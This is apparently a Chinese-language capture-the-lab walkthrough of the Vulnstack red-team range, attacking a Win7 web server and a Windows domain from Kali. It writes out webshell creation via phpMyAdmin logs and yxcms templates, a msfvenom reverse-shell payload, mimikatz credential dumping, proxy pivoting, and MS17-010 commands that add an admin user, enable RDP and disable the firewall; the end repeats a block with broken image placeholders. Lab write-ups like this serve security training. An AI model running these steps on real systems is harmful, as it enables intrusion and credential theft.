搭建
靶场下载:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ (13G,需要百度网盘会员)
下载好靶场文件后直接解压
直接用虚拟机打开靶场
更改网络ip
需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网
将 Win7 的网络适配器 1 设置成 VMnet1 仅主机模式(内网),网络适配器 2 设置成 NAT 模式(外网)
而 Win2003、Win2008 网络适配器设置成VMnet1仅主机模式(内网)。
网络配置完成,这三台虚拟主机默认开机密码都是 hongrisec@2019(开机提示密码已过期,更改为 hongricse@2024即可,密码太简单会设置错误)
在之后可能会用到桥接模式,可以根据情况设置
在win7把环境启动,其中可以设置一个桥接模式,方便打靶
查看IP
访问192.168.129.158
这几台机器都是有防火墙的,这里先看一下win7的防火墙和入站规则
接着可以在外面访问一下192.168.129.158
到这里靶场就搭建成功了
开始打靶
攻击机 kali
web服务器 win7
域成员 win2003
域控 win2008
目的:先穿过防火墙打下web服务器接着再穿过防火墙拿下域内的机器(域成员和域控)。
打靶方法:
- 端口扫描
- web路径的发现
- phpmyadmin渗透
日志导出getshell
- yxcms渗透
编辑模板getshell
- 上线msf
- msf渗透利用
- msf psexec模板利用
- ms17_010_command模板利用
打靶
由于在打靶前知道了ip所以直接就不进行信息收集了
直接来扫描端口
nmap -p- 192.168.129.158 -o result.txt/nmap -sV -Pn 192.168.129.158
有80和3306端口开放
phpmyadmin渗透
访问192.168.129.158:80,得到的是一个phpstudy探针的页面,可以知道绝对路径
测试一下数据库的连接情况,使用root/root弱口令,连接测试成功
使用dirsearch工具或者御剑扫描一下存在的web服务
[08:42:52] 200 - 71KB - /phpinfo.php
[08:42:52] 301 - 242B - /phpMyAdmin -> http://192.168.129.158/phpMyAdmin/
[08:42:52] 301 - 242B - /phpmyadmin -> http://192.168.129.158/phpmyadmin/
[08:42:53] 200 - 32KB - /phpmyadmin/ChangeLog
[08:42:53] 200 - 2KB - /phpmyadmin/README
[08:42:53] 200 - 4KB - /phpmyAdmin/
[08:42:53] 200 - 4KB - /phpMyAdmin/index.php
[08:42:53] 200 - 4KB - /phpMyadmin/
[08:42:53] 200 - 4KB - /phpmyadmin/
[08:42:53] 200 - 4KB - /phpmyadmin/index.php
[08:42:53] 200 - 4KB - /phpMyAdmin/
扫描到这么多文件,接着就是访问
访问 http://192.168.129.158/phpMyAdmin/
使用刚刚得到的弱口令进行登录root/root
日志导出getshell
查看日志导出
show variables like ‘general%’;
发现日志导出没有打开,接着就要开启日志导出
set global general_log=“ON”;
接着设置web路径
set global general_log_file=“C:/phpStudy/www/404.php”;
执行select 1;
访问http://192.168.129.158/404.php查看日志
接着执行select “<?php phpinfo();?>”;
接着刷新http://192.168.129.158/404.php查看日志的导出
以上几步操作说明web是可以用日志导出getshell的
最简单的就是可以写入一句话木马执行,接着就可以用工具(蚁剑)连接到后台,得到文件
yxcms渗透
访问192.168.129.158/yxcms
查看网页发现用户和密码
根据网页提示访问得到新的网页
直接admin/123456登录
成功登录后台
进入前台模板——>模板管理——>编辑文件
这里可以直接打开编辑写入webshell
访问http://192.168.129.158/yxcms/protected/apps/default/view/default/info.php 页面什么都没有显示
使用hackbar,传入刚刚写入的phpinfo
接着用蚁剑连接
可以进入文件管理和虚拟终端,在虚拟终端可以看到用户名及身份
msf上线
先进入msf工具使用页面
在kali使用msf工具生成木马文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.129.148 LPORT=4444 -f exe > 11.exe
成功将木马文件上传到web服务器
文件成功在终端显示
在kali上开启监听
msfconsole #开启msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options #可以查看一下写的内容
set lhost 192.168.33.133 #ip写kali的
set lport 3333 #监听端口
run #启动
设置好kali执行文件,getshell
内网信息收集
net time /domain #查看时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
net view /domain:GOD #查看GOD域情况
nslookup 主机名 #查看域内其他主机 可能ip查不出来
net group “domain computers” /domain #查看域内所有的主机名
net group “domain admins” /domain #查看域管理员
net group “domain controllers” /domain #查看域控
获取目标主机的shell
shell #进入模拟终端
chcp 65001 #解决乱码
route print # 打印路由信息
可知内网网段应该是 192.168.52.0/24
首先判断是否在域中,域控制器一般集成了DNS服务,通过 ipconfig /all,即可简单判断
域名为god.org,还可以使用下面这种方法查看
net view /domain #查询当前主机是否加入域,如果加入则列出域名
查看域内信息
net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域
接着定位域控
域控的域名即 owa.god.org ,用 ping 即可反查出域控(server 2008)ip为192.168.52.138
再来看一下域内的其它主机,OWA是域控,STU1是win7,所以剩下的就是域成员得到ip为192.168.52.141
再来看一下域管理员,可以看到这里我们获得的 Administrator 就是域控OWA的域管理员
net group “domain admins” /domain #查询域管理员
看一下域里有几个用户
net user /domain #查看域用户,只有域管才能执行
提权
getuid #查看服务器权限
getsystem #提权
getuid #查看是否提权成功
成功得到系统权限
获取域用户的密码信息
方法一:加载 kiwi模块
load kiwi #加载kiwi模块
creds_all #列出所有凭据
方法二:加载mimikatz模块,再尝试加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程
ps #查看进程
migrate PID
load mimikatz
kiwi_cmd sekurlsa::logonpasswords
方法一不知道为什么一直显示不出来
方法二:
ps
得到账户及登录密码,密码和我一开始更改的一样
目前为止,获得的内网信息有:
域名:god.org
域内有五个用户:Administrator、Guest、liukaifeng01、ligang、krbtgt
域内三台主机:OWA、ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143
跨网段横向渗透
msf添加代理
添加路由
run autoroute -s 192.168.52.0/24 #添加路由
run autoroute -p #查看路由信息
配置代理
background
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1(这里因为是本机可以写本地ip)
run
jobs
然后在 proxychains 的配置文件 /etc/proxychains.conf,添加本机的1080端口:
socks4 127.0.0.1 1080
域成员渗透
首先看下域成员开放的端口,全扫很久,这里只扫描一些高危端口
proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.141
这里看见开着445端口,试着用一下ms17_010
use auxiliary/admin/smb/ms17_010_command
set COMMAND net user
set RHOST 192.168.52.141
run
添加一个用户尝试远程登录一下
还是使用这个模块,依次执行下面命令
set command net user bbb qwer@123 /add #添加用户
run
set command net localgroup administrators bbb /add #管理员权限
run
set command ‘REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’ #开启3389端口
run
set command netsh advfirewall set allprofiles state off #关闭防火墙
run
接着远程登录
proxychains rdesktop 192.168.52.141
使用刚刚添加的新用户进行登录,而且原来的用户账户及密码也拿到了
对于另一台机器192.168.52.138的获取也是一样的操作
先连接创建新用户,赋予其权限
Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’ #开启3389端口
run
set command netsh advfirewall set allprofiles state off #关闭防火墙
run
[外链图片转存中…(img-DoUuluZW-1734439783074)][外链图片转存中…(img-pquuSHzj-1734439783074)][外链图片转存中…(img-QvoP0AOc-1734439783074)]接着远程登录
proxychains rdesktop 192.168.52.141
使用刚刚添加的新用户进行登录,而且原来的用户账户及密码也拿到了
对于另一台机器192.168.52.138的获取也是一样的操作
先连接创建新用户,赋予其权限
然后直接远程登录